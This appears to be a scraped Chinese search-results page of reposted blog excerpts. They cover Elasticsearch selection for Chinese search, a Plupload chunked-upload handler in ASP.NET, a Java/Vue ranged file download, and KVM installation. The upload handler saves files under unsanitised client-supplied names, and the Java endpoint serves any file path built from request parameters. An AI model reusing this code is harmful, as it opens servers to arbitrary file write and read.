[Hive不支持的压缩格式]的搜索结果

...你的底层数据库用的是hive、impala、clickhouse等大数据计算引擎：鸟枪换炮，其实用作全文索引和搜索的场景并不合适，你可能依旧会使用sql数据库那样用like做交互 2. 方案选择 调研之后，可能会发现对于数据量相对大一点的搜索场景，在当下流行的数据库或计算引擎中，elasticsearch是其中最合适的解决方案。 无论是sql的like、还是mongo的regex，在线上环境下，数据量较多的情况下，都不是很高效的查询，甚至有的公司的dba会禁止在线上使用类似的查询语法。 与elasticsearch是“亲戚”的，大家还常提到lucene、solr，但是无论从现在的发展趋势还是公司运维人才的储备（不得不说当下的运维人才中，对es熟悉的人才会更多一些），elasticsearch是相对较合适的选择。 一些大数据计算引擎，其实更多的适合OLAP场景。当然也完全可以使用，因为比如clickhouse、starrocks等的查询速度已经发展的非常快。但你会发现在中文分词搜索上，实现起来有一定困扰。 所以，如果你不差机器，首选方案还是elasticsearch。 3. elasticsearch的适用场景 3.1 经典的日志搜索场景 提到elasticsearch不得不提到它的几个好朋友： 一些公司里经常用elasticsearch来收集日志，然后用kibana来展示和分析。 展开来说，举个例子，你的app打印日志打印到了线上日志文件，当app出现故障你需要做定位筛查的时候，可能需要登录线上机器用grep命令各种查看。 但如果你不差机器资源，可以搭建上述架构，app的日志会被收集到elasticsearch中，最终你可以在kibana中查看日志，kibana里面可以很方面的做各种筛查操作。 这个流畅大概是这样的： 3.2 通用搜索场景 但是没有上图的beats、logstash、kibana，elasticsearch可以自己工作吗？完全可以的！ elasticsearch也支持单机部署，数据规模不是很大的情况下，表现也是不错的。所以，你也不用担心因为自己机器资源不够而对elasticsearch望而却步。当然，单机部署的情况下，更多的适合自己玩，对于可靠性的要求就不能太苛刻了。 如果你在用宝塔，那你可以在宝塔面板，左侧“软件商店”中直接找到elasticsearch，并“没有痛苦”的安装。 本篇文章主要讨论选型，所以不涉及安装细节。 3.2.1 性能顾虑 上面提到了“表现”，其实性能只是elasticsearch的一个方面，主要你的机器资源足够（机器资源？对，包括你的机器个数，elasticsearch可以非常方便的横向扩展，以及单机的配置，cpu+内存，内存越高越好，elasticsearch比较吃内存！），它一定会给你很好的性能反应。试想，公司里的app打印线上日志的行数其实可比一般业务系统产生的订单数量要大很多很多，elasticsearch都可以常在日志的实时分析，所以如果你要做通用场景，而且机器资源不是问题，这是完全行得通的。 3.2.2 易用性和可玩性 此外，在使用elasticsearch的时候，会有很多的可玩性。这里不引经据典，呈现很多elasticsearch官方文章的列举优秀特性（当然，确实很优秀！）。 这里举几个例子： （1）中文分词：第一章提到的其它引擎几乎很难实现，elasticsearch对分词器的支持是原生的，因为elasticsearch天生就为全文索引而生，elasticsearch的汉语名字就是“弹性搜索”。这家伙可是专门搞搜索的！ 有的朋友可能不了解分词器，比如你的一个字段里存储“今天我要吃冰激凌”，在分词器的加持下，es最终会存储为“今天|我|要|吃|冰激凌”，并且使用倒排索引的形式进行存储。当你搜索“冰激凌”的时候，可以很快的反馈回来。 关于elasticsearch的原理，这里不展开说明，分词器和倒排索引是elasticsearch的最基本的概念。如果有不了解的朋友，可以自行百度一下。而且这两个概念，与elasticsearch其实不挂钩，是搜索中的通用概念。 关于倒排索引，其核心表现如下图： 如果你要用mysql、mongo实现中文分词，这......其实挺麻烦的，可能在后面的版本支持中会实现的很好，但在当前的流行版本中，它们对中文分词是不够友好的。 mysql5.7之后支持外挂第三方分词器，支持中文分词。而在数据量较大的情况下，mysql的多机器部署几乎很难实现，elasticsearch可以很容易的水平扩展。 mongo支持西方语言的分词，但不支持中文、日语、汉语等东方语言，你需要在自己的逻辑代码中实现分词器。 ngram分词，你看看效果：依旧是“今天我要吃冰激凌”，ngram二元分词后即将得到结果“今天、天我、我要、要吃、吃冰、冰激、激凌”。这....，那你搜索冰激凌就搜不出来！咋办呢，当然可以使用三元分词。但是更好的解决方案还是中文分词器，但它们原生并不支持的。 （2）自定义排名场景：比如你的搜索“冰激凌”，结果中返回了有10条，这10条应该有你想对它指定的顺序。最简单的就是用默认的得分，但是如果你想人为干预这个得分怎么办？ elasticsearch支持function_score功能（可以不用，这个是增强功能），es会在计算最终得分之前回调这个你指定的function_score回调函数，传入原始得分、行的原始数据，你可以在里面做计算，比如查询其它参考表、或查看是否是广告位，以得到新的score返回给用户。 function_scrore的功能不展开描述，是一个在自定义得分场景下十分有用又简单易用的功能！下面是一个使用示例，不仅如此，它是支持自定义函数的，自由度非常高。 （3）文本高亮：你用mysql或mongo也可以实现，比如用户搜索“冰激凌”，你只需要在逻辑代码中对“冰激凌”替换为“<span class='highlight-term'>冰激凌</span>”，然后前端做样式即可。但如果用户搜索了“好吃的冰激凌”咋办呢？还有就是英文大小写的场景，用户搜索"MAIN"，那结果及时匹配到了“main”（小写的），这个单词是否应该高亮呢？也许这时候你会用业务代码实现toLowerCase下基于位置下标的匹配。 挺麻烦的吧，elasticsearch，自动可以返回高亮字段！并且可以自由指定高亮的html前后标签。 （4）实在太多了....这家伙天生为索引而生，而且版本还在不断地迭代。不差机器的话，用用吧！ 4. 退而求其次 4.1 普通数据库 尽管elasticsearch在搜索场景下，是非常好用的利器！但是它比较消耗机器资源，如果你的数据规模并不大，而且想快速实现功能。你可以使用mysql或mongo来代替，完全没有问题。 技术是为了解决特定业务场景下的问题，结合当前手头的资源，适合自己的才是最好的。也许你搞了一个单机器的elasticsearch，单机器内存只有2G，它的表现并不会比mysql、mongo来的好。 当然，如果你为了使用上边提到的一些优秀的独有的特性，那elasticsearch一定还是最佳选择！ 对于mysql（关系型数据库）和mongo（文档数据库）的区别这里不展开描述了，但对于搜索而言，两种都合适。有时候选型也不用很纠结，其实都是差不太多的东西，适合自己的、自己熟悉的、运维起来顺手的，就是最好的。 4.2 普通数据库实现中文分词搜索的原理 尽管mysql在5.7以后支持外挂第三方分词器，mongo在截止目前的版本中也不支持中文分词（你可能会看到一些文章中说可以指定language为chinese，但其实会报错的）。 其实当你选择普通数据库，你就不得不在逻辑代码中自己实现一套索引分词+搜索分词逻辑。 索引分词+搜索分词？为什么分开写，如果你有用过elasticsearch或solr，你会知道，在指定字段的时候，需要指定index分词器和search分词器。 下面以mongo为例做简要说明。 4.2.1 index分词器 意思是当数据“索引”截断如何分词。首先，这里必须要承认，数据之后存储了，才能被查询。在搜索中，这句话可以换成是“数据只有被索引了，才能被搜索”。 这时候请求打过来了，要索引一条数据，其中某字段是“今天我要吃冰激凌”，分词后得到“今天|我|要|吃|冰激凌”，这个就可以入库了。 如果你使用elasticsearch或solr，这个过程是自动的。如果你使用不支持外观分词器的常规数据库，这个过程你就要手动了，并把分词后的结果用空格分开（最好使用空格，因为西方语言的分词规则就是按空格拆分，以及逗号句号），存入数据库的一个待搜索的字段上。 效果如下图： 本站的其它博文中有介绍IKAnalyzer：https://www.52itw.com/java/6268.html 4.2.2 search分词器 当用户的查询请求打过来，用户输入了“好吃的冰激凌”，分词后得到“好吃|冰激凌”（“的”作为停用词stopwords，被自动忽略了，IKAnalyzer可以指定停用词表）。 于是这时候就回去上图的数据库表里面搜索“好吃 冰激凌”（与index分词器结果统一，还是用空格分隔）。 当然，对于mongo而言，你需要事先开启全文索引db.xxx.ensureIndex({content: "text"})，xxx是集合名，content是字段名，text是全文索引的标识。 mongo搜索的时候用这个语法：db.xxx.find( { $text: { $search: "好吃 冰激凌" } },{ score: { $meta: "textScore" } }).sort( { score: { $meta: "textScore" } } ) 4.2.3 索引库和存储库分开 为了减少单表的大小，为了让普通的列表查询、普通筛选可以跑的更快，你可以对原有的数据原封不动的做一张表。 然后对于搜索场景，再单独对需要被搜索的字段单独拎一张表出来！ 然后二者之间做增量信号同步或定时差额同步，可能会有延迟，这个就看你能容忍多长时间（悄悄告诉你，elasticsearch也需要指定这个refresh时间，一般是1s到几秒、甚至分钟级。当然，二者的这个时间对饮的底层目的是不一样的）。 这样，搜索的时候先查询搜索库，拿到一个指针id的列表，然后拿到指针id的列表区存储里把数据一次性捞出来。当然，也是支持分页的，你查询搜索库其实也是普通的数据库查询嘛，支持分页参数的。 4.3 存储库和索引库的延伸阅读 很多有名的开源软件也是使用的存储库与索引库分离的技术方案，如apache atlas： apache atlas对于大数据领域的数据资产元数据管理、数据血缘上可谓是专家，也涉及资产搜索的特性，它的实现思路就是：从搜索库中做搜索、拿到key、再去存储库中做查询。 搜索库：上图右下角，可以看到使用的是elasticsearch、solr或lucene，多个选一个 存储库：上图左下角，可以看到使用的是Cassandra、HBase或BerkeleyDB，多个选一个 虽然apache atlas在只有搜索库或只有存储库的时候也可以很好的工作，但只针对于数据量并不大的场景。 搜索库，擅长搜索！存储库，擅长海量存储！搜索库多样化搜索，然后去存储库做点查。 当你的数据达到海量的时候，es+hbase也是一种很好的解决方案，不在这里展开说明了。

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...以自动检测浏览器是否支持html5技术，不支持再检测是否支持flash技术，甚至是sliverlight技术，如果支持，就使用检测到的技术。 那么这个库到哪里下载，怎么搭建呢，比较懒的童鞋还是用Install-Package Plupload搞定吧，一个命令搞定所有事 Plupload支持的功能这里就不细说了，什么批量上传，这里我没有用到，主要是感觉它支持的事件非常丰富，文件选取后的事件，文件上传中的事件(可获得文件的上传进度)，文件上传成功的事件，文件上传失败的事件，等等 我的例子主要是上传一个单个文件，并显示上传的进度条(使用jQuery的一个进度条插件) 下面的例子主要是为文件上传交给 UploadCoursePackage.ashx 来处理 /ProgressBar/ var progressBar = $("loading").progressbar({ width: '500px', color: 'B3240E', border: '1px solid 000000' }); /Plupload/ //实例化一个plupload上传对象 var uploader = new plupload.Uploader({ browse_button: 'browse', //触发文件选择对话框的按钮，为那个元素id runtimes: 'html5,flash,silverlight,html4',//兼容的上传方式 url: "Handlers/UploadCoursePackage.ashx", //后端交互处理地址 max_retries: 3, //允许重试次数 chunk_size: '10mb', //分块大小 rename: true, //重命名 dragdrop: false, //允许拖拽文件进行上传 unique_names: true, //文件名称唯一性 filters: { //过滤器 max_file_size: '999999999mb', //文件最大尺寸 mime_types: [ //允许上传的文件类型 { title: "Zip", extensions: "zip" }, { title: "PE", extensions: "pe" } ] }, //自定义参数 （键值对形式） 此处可以定义参数 multipart_params: { type: "misoft" }, // FLASH的配置 flash_swf_url: "../Scripts/plupload/Moxie.swf", // Silverligh的配置 silverlight_xap_url: "../Scripts/plupload/Moxie.xap", multi_selection: false //true:ctrl多文件上传, false 单文件上传 }); //在实例对象上调用init()方法进行初始化 uploader.init(); uploader.bind('FilesAdded', function (uploader, files) { $("<%=fileSource.ClientID %>").val(files[0].name); $.ajax( { type: 'post', url: 'HardDiskSpace.aspx/GetHardDiskFreeSpace', data: {}, dataType: 'json', contentType: 'application/json;charset=utf-8', success: function (result) { //选择文件以后检测服务器剩余磁盘空间是否够用 if (files.length > 0) { if (parseInt(files[0].size) > parseInt(result.d)) { $('error-msg').text("文件容量大于剩余磁盘空间,请联系管理员!"); } else { $('error-msg').text(""); } } }, error: function (xhr, err, obj) { $('error-msg').text("检测服务器剩余磁盘空间失败"); } }); }); uploader.bind('UploadProgress', function (uploader, file) { var percent = file.percent; progressBar.progress(percent); }); uploader.bind('FileUploaded', function (up, file, callBack) { var data = $.parseJSON(callBack.response); if (data.statusCode === "1") { $("<%=hfPackagePath.ClientID %>").val(data.filePath); var id = $("<%=hfCourseID.ClientID %>").val(); __doPostBack("save", id); } else { hideLoading(); $('error-msg').text(data.message); } }); uploader.bind('Error', function (up, err) { alert("文件上传失败,错误信息: " + err.message); }); /Plupload/ 后台 UploadCoursePackage.ashx 的代码也重要，主要是文件分片跟不分片的处理方式不一样 using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.IO; namespace WebUI.Handlers { /// <summary> /// UploadCoursePackage 的摘要说明 /// </summary> public class UploadCoursePackage : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; int statuscode = 1; string message = string.Empty; string filepath = string.Empty; if (context.Request.Files.Count > 0) { try { string resourceDirectoryName = System.Configuration.ConfigurationManager.AppSettings["resourceDirectory"]; string path = context.Server.MapPath("~/" + resourceDirectoryName); if (!Directory.Exists(path)) Directory.CreateDirectory(path); int chunk = context.Request.Params["chunk"] != null ? int.Parse(context.Request.Params["chunk"]) : 0; //获取当前的块ID，如果不是分块上传的。chunk则为0 string fileName = context.Request.Params["name"]; //这里写的比较潦草。判断文件名是否为空。 string type = context.Request.Params["type"]; //在前面JS中不是定义了自定义参数multipart_params的值么。其中有个值是type:"misoft"，此处就可以获取到这个值了。获取到的type="misoft"; string ext = Path.GetExtension(fileName); //fileName = string.Format("{0}{1}", Guid.NewGuid().ToString(), ext); filepath = resourceDirectoryName + "/" + fileName; fileName = Path.Combine(path, fileName); //对文件流进行存储 需要注意的是 files目录必须存在（此处可以做个判断） 根据上面的chunk来判断是块上传还是普通上传 上传方式不一样 ，导致的保存方式也会不一样 FileStream fs = new FileStream(fileName, chunk == 0 ? FileMode.OpenOrCreate : FileMode.Append); //write our input stream to a buffer Byte[] buffer = null; if (context.Request.ContentType == "application/octet-stream" && context.Request.ContentLength > 0) { buffer = new Byte[context.Request.InputStream.Length]; context.Request.InputStream.Read(buffer, 0, buffer.Length); } else if (context.Request.ContentType.Contains("multipart/form-data") && context.Request.Files.Count > 0 && context.Request.Files[0].ContentLength > 0) { buffer = new Byte[context.Request.Files[0].InputStream.Length]; context.Request.Files[0].InputStream.Read(buffer, 0, buffer.Length); } //write the buffer to a file. if (buffer != null) fs.Write(buffer, 0, buffer.Length); fs.Close(); statuscode = 1; message = "上传成功"; } catch (Exception ex) { statuscode = -1001; message = "保存时发生错误，请确保文件有效且格式正确"; Util.LogHelper logger = new Util.LogHelper(); string path = context.Server.MapPath("~/Logs"); logger.WriteLog(ex.Message, path); } } else { statuscode = -404; message = "上传失败，未接收到资源文件"; } string msg = "{\"statusCode\":\"" + statuscode + "\",\"message\":\"" + message + "\",\"filePath\":\"" + filepath + "\"}"; context.Response.Write(msg); } public bool IsReusable { get { return false; } } } } 再附送一个检测服务器端硬盘剩余空间的功能吧 using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Web; using System.Web.Script.Services; using System.Web.Services; using System.Web.UI; using System.Web.UI.WebControls; namespace WebUI { public partial class CheckHardDiskFreeSpace : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } /// <summary> /// 获取磁盘剩余容量 /// </summary> /// <returns></returns> [WebMethod] public static string GetHardDiskFreeSpace() { const string strHardDiskName = @"F:\"; var freeSpace = string.Empty; var drives = DriveInfo.GetDrives(); var myDrive = (from drive in drives where drive.Name == strHardDiskName select drive).FirstOrDefault(); if (myDrive != null) { freeSpace = myDrive.TotalFreeSpace+""; } return freeSpace; } } } 效果展示：       详细配置信息可以参考这篇文章：http://blog.ncmem.com/wordpress/2019/08/12/plupload%e4%b8%8a%e4%bc%a0%e6%95%b4%e4%b8%aa%e6%96%87%e4%bb%b6%e5%a4%b9-2/ 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_45525177/article/details/100654639。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...n {// 设置编码格式response.setCharacterEncoding(utf8);//获取文件路径String fileName=request.getParameter("fileName");String drive=request.getParameter("drive");//参数校验log.info(fileName,drive);//完整路径(路径拼接待优化-前端传输优化-后端从新格式化 )String pathAll=drive+":\\"+fileName;log.info("pathAll{}",pathAll);Optional<String> pathFlag = Optional.ofNullable(pathAll);File file=null;if (pathFlag.isPresent()){//根据文件名，读取file流file = new File(pathAll);log.info("文件路径是{}",pathAll);if (!file.exists()){log.warn("文件不存在");return;} }else {//请输入文件名log.warn("请输入文件名！");return;}InputStream is = null;OutputStream os = null;try {//分片下载long fSize = file.length();//获取长度response.setContentType("application/x-download");String file_Name = URLEncoder.encode(file.getName(),"UTF-8");response.addHeader("Content-Disposition","attachment;filename="+fileName);//根据前端传来的Range 判断支不支持分片下载response.setHeader("Accept-Range","bytes");//获取文件大小//response.setHeader("fSize",String.valueOf(fSize));response.setHeader("fName",file_Name);//定义断点long pos = 0,last = fSize-1,sum = 0;//判断前端需不需要分片下载if (null != request.getHeader("Range")){response.setStatus(HttpServletResponse.SC_PARTIAL_CONTENT);String numRange = request.getHeader("Range").replaceAll("bytes=","");String[] strRange = numRange.split("-");if (strRange.length == 2){pos = Long.parseLong(strRange[0].trim());last = Long.parseLong(strRange[1].trim());//若结束字节超出文件大小 取文件大小if (last>fSize-1){last = fSize-1;} }else {//若只给一个长度 开始位置一直到结束pos = Long.parseLong(numRange.replaceAll("-","").trim());} }long rangeLenght = last-pos+1;String contentRange = new StringBuffer("bytes").append(pos).append("-").append(last).append("/").append(fSize).toString();response.setHeader("Content-Range",contentRange);// response.setHeader("Content-Lenght",String.valueOf(rangeLenght));os = new BufferedOutputStream(response.getOutputStream());is = new BufferedInputStream(new FileInputStream(file));is.skip(pos);//跳过已读的文件(重点，跳过之前已经读过的文件)byte[] buffer = new byte[1024];int lenght = 0;//相等证明读完while (sum < rangeLenght){lenght = is.read(buffer,0, (rangeLenght-sum)<=buffer.length? (int) (rangeLenght - sum) :buffer.length);sum = sum+lenght;os.write(buffer,0,lenght);}log.info("下载完成");}finally {if (is!= null){is.close();}if (os!=null){os.close();} }} } 启动成功 Vue <html xmlns:th="http://www.thymeleaf.org"><head><meta charset="utf-8"/><title>狂神说Java-ES仿京东实战</title><link rel="stylesheet" th:href="@{/css/style.css}"/></head><body class="pg"><div class="page" id="app"><div id="mallPage" class=" mallist tmall- page-not-market "><!-- 头部搜索 --><div id="header" class=" header-list-app"><div class="headerLayout"><div class="headerCon "><!-- Logo--><h1 id="mallLogo"><img th:src="@{/images/jdlogo.png}" alt=""></h1><div class="header-extra"><!--搜索--><div id="mallSearch" class="mall-search"><form name="searchTop" class="mallSearch-form clearfix"><fieldset><legend>天猫搜索</legend><div class="mallSearch-input clearfix"><div class="s-combobox" id="s-combobox-685"><div class="s-combobox-input-wrap"><input v-model="keyword" type="text" autocomplete="off" value="java" id="mq"class="s-combobox-input" aria-haspopup="true"></div></div><button type="submit" @click.prevent="searchKey" id="searchbtn">搜索</button></div></fieldset></form><ul class="relKeyTop"><li><a>狂神说Java</a></li><li><a>狂神说前端</a></li><li><a>狂神说Linux</a></li><li><a>狂神说大数据</a></li><li><a>狂神聊理财</a></li></ul></div></div></div></div></div><el-button @click="download" id="download">下载</el-button><!-- <el-button @click="concurrenceDownload" >并发下载测试</el-button>--><el-button @click="stop">停止</el-button><el-button @click="start">开始</el-button>{ {fileFinalOffset} }{ {contentList} }<el-progress type="circle" :percentage="percentage"></el-progress></div><!--前端使用Vue，实现前后端分离--><script th:src="@{/js/axios.min.js}"></script><script th:src="@{/js/vue.min.js}"></script><!-- 引入样式 --><link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css"><!-- 引入组件库 --><script src="https://unpkg.com/element-ui/lib/index.js"></script><script>new Vue({ el: 'app',data: {keyword: '', //搜索关键字results: [] ,//搜索结果percentage: 0, // 下载进度filesCurrentPage:0,//文件开始偏移量fileFinalOffset:0, //文件最后偏移量stopRecursiveTags:true, //停止递归标签，默认是true 继续进行递归contentList: [], // 文件流数组breakpointResumeTags:false, //断点续传标签，默认是false 不进行断点续传temp:[],fileMap:new Map(),timer:null, //定时器名称},methods: {//根据关键字搜索商品信息searchKey(){var keyword=this.keyword;axios.get('/search/JD/search/'+keyword+"/1/10").then(res=>{this.results=res.data;//绑定数据console.log(this.results)console.table(this.results)})},//停止下载stop(){//改变递归标签为falsethis.stopRecursiveTags=false;},//开始下载start(){//重置递归标签为true 最后进行合并this.stopRecursiveTags=true;//重置断点续传标签this.breakpointResumeTags=true;//重新调用下载方法this.download();},// 分段下载需要后端配合download() {// 下载地址const url = "/down?fileName="+this.keyword.trim()+"&drive=E";console.log(url)const chunkSize = 1024 1024 50; // 单个分段大小，这里测试用100Mlet filesTotalSize = chunkSize; // 安装包总大小，默认100Mlet filesPages = 1; // 总共分几段下载//计算百分比之前先清空上次的if(this.percentage==100){this.percentage=0;}let sentAxios = (num) => {let rande = chunkSize;//判断是否开启了断点续传(断点续传没法并行-需要上次请求的结果作为参数)if (this.breakpointResumeTags){rande = ${Number(this.fileFinalOffset)+1}-${num chunkSize + 1};}else {if (num) {rande = ${(num - 1) chunkSize + 2}-${num chunkSize + 1};} else {// 第一次0-1方便获取总数，计算下载进度，每段下载字节范围区间rande = "0-1";} }let headers = {range: rande,};axios({method: "get",url: url.trim(),async: true,data: {},headers: headers,responseType: "blob"}).then((response) => {if (response.status == 200 || response.status == 206) {//检查了下才发现，后端对文件流做了一层封装，所以将content指向response.data即可const content = response.data;//截取文件总长度和最后偏移量let result= response.headers["content-range"].split("/");// 获取文件总大小，方便计算下载百分比filesTotalSize =result[1];//获取最后一片文件位置，用于断点续传this.fileFinalOffset=result[0].split("-")[1]// 计算总共页数，向上取整filesPages = Math.ceil(filesTotalSize / chunkSize);// 文件流数组this.contentList.push(content);// 递归获取文件数据(判断是否要继续递归)if (this.filesCurrentPage < filesPages&&this.stopRecursiveTags==true) {this.filesCurrentPage++;//计算下载百分比 当前下载的片数/总片数this.percentage=Number((this.contentList.length/filesPages)100).toFixed(2);sentAxios(this.filesCurrentPage);//结束递归return;}//递归标签为true 才进行下载if (this.stopRecursiveTags){// 文件名称const fileName =decodeURIComponent(response.headers["fname"]);//构造一个blob对象来处理数据const blob = new Blob(this.contentList);//对于<a>标签，只有 Firefox 和 Chrome（内核） 支持 download 属性//IE10以上支持blob但是依然不支持downloadif ("download" in document.createElement("a")) {//支持a标签download的浏览器const link = document.createElement("a"); //创建a标签link.download = fileName; //a标签添加属性link.style.display = "none";link.href = URL.createObjectURL(blob);document.body.appendChild(link);link.click(); //执行下载URL.revokeObjectURL(link.href); //释放urldocument.body.removeChild(link); //释放标签} else {//其他浏览器navigator.msSaveBlob(blob, fileName);} }} else {//调用暂停方法，记录当前下载位置console.log("下载失败")} }).catch(function (error) {console.log(error);});};// 第一次获取数据方便获取总数sentAxios(this.filesCurrentPage);this.$message({message: '文件开始下载！',type: 'success'});} }})</script></body></html> 本篇文章为转载内容。原文链接：https://blog.csdn.net/kangshihang1998/article/details/129407214。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...件虚拟化是需要CPU支持，如果CPU不支持将无法创建KVM虚拟机 六、虚拟化技术 全虚拟化:全虚拟化代表有：KVM 半虚拟化:半虚拟化代表有Hypervisor 针对IO层面半虚拟化要比全虚拟化要好，因为磁盘IO多一层必定会慢。一般说IO就是网络IO和磁盘IO 因为这两个相对而言是比较慢的 ； 提示： Qemu和KVM的最大区别就是，如果一台物理机内存直接4G，创建一个vm虚拟机分配内存分4G，在创建一个还可以分4G。支持超配，但是Qemu不支持； 七、虚拟化使用场景分类 服务器虚拟化：解决资源利用率低的问题 桌面虚拟化：有一些弊端，图形显示层面会有问题 应用虚拟化：没接触过，公司比较穷买不起,基本上只有银行等国企才会用Xenapp ICA 八、虚拟化工具KVM介绍 KVM 全称：Kernel-based Virtual Machine（内核级虚拟化机器） 原本由以色列人创建，现在被红帽收购 ESXI 虚拟套件，现在是免费使用 VMware vSphere Hypervisor – 安装和配置 提示：一台服务器首选ESXI 九、KVM安装 调整虚拟机 虚拟化Intel使用的是Intel VT-X ； 虚拟化AMD使用的是AMD-V 创建虚拟机步骤 1.准备虚拟机硬盘 2.需要系统iso镜像3.需要安装一个vnc的客户端来连接 查看系统环境 [root@linux-node1 ~] cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) [root@linux-node1 ~] uname -r 3.10.0-327.36.2.el7.x86_64 检查是否有vmx或者svm [root@linux-node1 ~] grep -E '(vmx|svm)' /proc/cpuinfo 安装kvm用户态模块 [root@linux-node1 ~] yum list|grep kvm libvirt-daemon-kvm.x86_64 1.2.17-13.el7_2.5 updates pcp-pmda-kvm.x86_64 3.10.6-2.el7 base qemu-kvm.x86_64 10:1.5.3-105.el7_2.7 updates qemu-kvm-common.x86_64 10:1.5.3-105.el7_2.7 updates qemu-kvm-tools.x86_64 10:1.5.3-105.el7_2.7 updates [root@linux-node1 ~] yum install qemu-kvm qemu-kvm-tools libvirt -y libvirt 用来管理kvm kvm属于内核态，不需要安装。但是需要一些类似于依赖的 kvm属于内核态，不需要安装。但是需要安装一些类似于依赖的东西 启动 [root@linux-node1 ~] systemctl start libvirtd.service [root@linux-node1 ~] systemctl enable libvirtd.service 启动之后我们可以使用ifconfig进行查看，libvirtd已经为我们安装了一个桥接网卡 libvirtd为我们启动了一个dnsmasqp，这个主要是用来dhcp连接的，这个工具会给我们的虚拟机分配IP地址 [root@linux-node1 ~] ps -ef|grep dns nobody 5233 1 0 14:27 ? 00:00:00 /sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro --dhcp-script=/usr/libexec/libvirt_leaseshelper root 5234 5233 0 14:27 ? 00:00:00 /sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro --dhcp-script=/usr/libexec/libvirt_leaseshelperoot 5310 2783 0 14:31 pts/0 00:00:00 grep --color=auto dns 查看磁盘空间大小 最好是20G以上 [root@linux-node1 tmp] df -h 上传镜像 提示：如果使用rz上传镜像可能会出现错误，所以我们使用dd命令，复制系统的镜像。只需要挂载上光盘即可 [root@linux-node1 opt] dd if=/dev/cdrom of=/opt/CentOS-7.2.iso [root@linux-node1 opt] ll total 33792 -rw-r--r-- 1 root root 34603008 Jun 12 18:18 CentOS-7.2-x86_64-DVD-1511.iso 下载VNC 下载地址：http://www.tightvnc.com/download/2.8.5/tightvnc-2.8.5-gpl-setup-64bit.msi 安装完VNC如下图 创建磁盘 提示： qemu-img软件包是我们安装qemu-kvm-tools 依赖给安装上的 [root@linux-node1 opt] qemu-img create -f raw /opt/CentOS-7.2-x86_64.raw 10GFormatting '/opt/Centos-7-x86_64.raw', fmt=raw size=10737418240 [root@linux-node1 opt] [root@linux-node1 opt] ll /opt/Centos-7-x86_64.raw -rw-r--r-- 1 root root 10737418240 Oct 26 14:53 /opt/Centos-7-x86_64.raw-f 制定虚拟机格式，raw是裸磁盘/opt/Centos 存放路径 10G 代表镜像大小 安装启动虚拟机的包 [root@linux-node1 tmp] yum install -y virt-install 安装虚拟机 [root@linux-node1 tmp] virt-install --help 我们可以指定虚拟机的CPU、磁盘、内存等 [root@linux-node1 opt] virt-install --name CentOS-7.2-x86_64 --virt-type kvm --ram 1024 --cdrom=/opt/CentOS-7.2.iso --disk path=/opt/CentOS-7.2-x86_64.raw --network network=default --graphics vnc,listen=0.0.0.0 --noautoconsole --name = 给虚拟机起个名字 --ram = 内存大小 --cdrom = 镜像位置，就是我们上传iso镜像的位置，我放在/tmp下了 --disk path = 指定磁盘--network network= 网络配置 default 就会用我们刚刚ifconfig里面桥接的网卡--graphics vnc,listen= 监听vnc， 分区说明 提示：我们不分交换分区，因为公有云上的云主机都是没有交换分区的 十、Libvirt介绍 libvirt是一个开源免费管理工具，可以管理KVM、VMware等 他需要起一个后台的进程，它提供了API。像openstack就是通过libvirt API来管理虚拟机 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vcp4lgAZ-1596980494935)(libvirt.jpg)] 二、KVM虚拟机和VMware区别 虚拟机监控程序（KVM）是虚拟化平台的根基。从传统供应商到各种开源替代品，可供选择的虚拟机监控程序有很多。 VMware 是一款实现虚拟化的热门产品，可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。 基于内核的虚拟机（KVM）则是 Linux® 系统上的一种开源解决方案。 VMware vSphere 与 VMware ESXi VMware 可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。VMware ESXi 是一个能够直接安装到物理服务器上的裸机虚拟机监控程序，可以帮你整合硬件。你可以用 VMware 的虚拟化技术来创建和部署虚拟机（VM），从而现代化改造自己的基础架构，来交付和管理各种新旧应用。 选用 VMware vSphere 后，你需要使用 VMware 的控制堆栈来管理虚拟机，而且有多个许可证授权级别可供使用。 KVM 开源虚拟化技术 KVM 是一种开源虚拟化技术，能将 Linux 内核转变成可以实现虚拟化的虚拟机监控程序，而且可以替代专有的虚拟化技术（比如 VMware 提供的专有虚拟化技术）。 迁移到基于 KVM 的虚拟化平台，你就可以检查、修改和完善虚拟机监控程序背后的源代码。能够访问源代码，就如同掌握了开启无限可能的钥匙，能够让你虚拟化传统工作负载和应用，并为云原生和基于容器的工作负载奠定基础。由于 KVM 内置于 Linux 内核中，所以使用和部署起来非常方便。 KVM 虚拟机和 VMware vSphere 的主要区别 VMware 可以提供一个完善稳定的虚拟机监控程序，以及出色的性能和多样化的功能。但是，专有虚拟化会阻碍你获得开展云、容器和自动化投资所需的资源。解除供应商锁定，你就可以任享自由、灵活与丰富的资源，从而为未来的云原生和容器化环境打下基础。 生产就绪型的 KVM 具有支持物理和虚拟基础架构的功能，可以让你以更低的运营成本为企业工作负载提供支持。相比使用 VMware vSphere 等其他解决方案，选用基于 KVM 的虚拟化选项能够带来很多优势。 开源Linux KVM的优势： 更低的总拥有成本，从而省下运营预算，用来探索现代化创新技术。 不再受供应商捆绑。无需为不用的产品付费，也不会受到软件选择限制。 跨平台互操作性：KVM 可以在 Linux 和 Windows 平台上运行，所以你可以充分利用现有的基础架构投资。 出色简便性：可以通过单个虚拟化平台，在数百个其他硬件或软件上创建、启动、停止、暂停、迁移和模板化数百个虚拟机。 卓越性能：应用在 KVM 